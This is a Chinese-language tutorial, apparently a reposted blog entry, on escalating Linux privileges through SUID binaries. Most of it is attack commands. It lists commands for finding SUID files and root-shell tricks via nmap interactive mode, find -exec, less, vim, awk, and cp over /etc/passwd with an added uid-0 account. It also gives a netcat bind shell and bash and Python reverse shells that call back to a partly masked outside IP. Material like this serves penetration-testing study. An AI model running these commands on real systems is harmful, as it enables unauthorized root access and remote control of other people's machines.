SUID提权
SUID提权
一、简介
SUID(Set User ID)是Linux和Unix系统中的一种特殊文件权限设置。当一个可执行文件被设置了SUID权限后,任何用户执行该文件时,都会临时以文件所有者的权限运行。这一特性常用于允许普通用户执行某些需要超级用户权限的操作,如修改密码。SUID在权限表示中以’s’符号出现,设置时需谨慎,因为一旦文件有安全漏洞,可能会被利用来获取更高权限。
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置,可以让二进制程序的执行者临时拥有文件属主的权限,也正是因为这个特性,假设我们以非 root 用户身份访问目标系统,并且我们发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置


可以看到这里的1.txt有了'S'这个权限
二、具体方式
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null
nmap
这个版本:nmap2.02至5.21
早期namp版本,允许用户执行shell命令
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
但是现在不行了,nmap版本已经很高了。
还可以使用的是msf里面的nmap提权

find
find命令一般用来在系统中查找文件,同时也会具备执行命令的能力,只要有这个文件,我们就可以使用find执行命令来让我们的命令以root权限进行

find 具有suid权限的filename -exec whoami \; -quit
find 具有suid权限的filename -exec /bin/sh -p \; -quit
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

广播shell
find user -exec nc -lvp 4444 -e '/bin/sh' \;
nc 靶机ip 4444
反弹shell
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvp 4444
less/more
less /etc/passwd
这里less查看的需要是文件内容比较多的,才能翻页,然后在最后输入
!/bin/sh

cp/mv
利用cp命令覆盖/etc/passwd从而进行提权
openssl passwd -1 -salt test 密码
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd
vi/vim
vi命令和vim差不多,这里就用vim命令进行详解
首先是一种比较特殊的情况,就是vim被配置了suid权限,所以只有root才能有权限进行读写,这种时候就是
vim.tiny /etc/passwd
:!/bin/sh
awk
awk 'BEGIN {system("/bin/bash")}'

浙公网安备 33010602011771号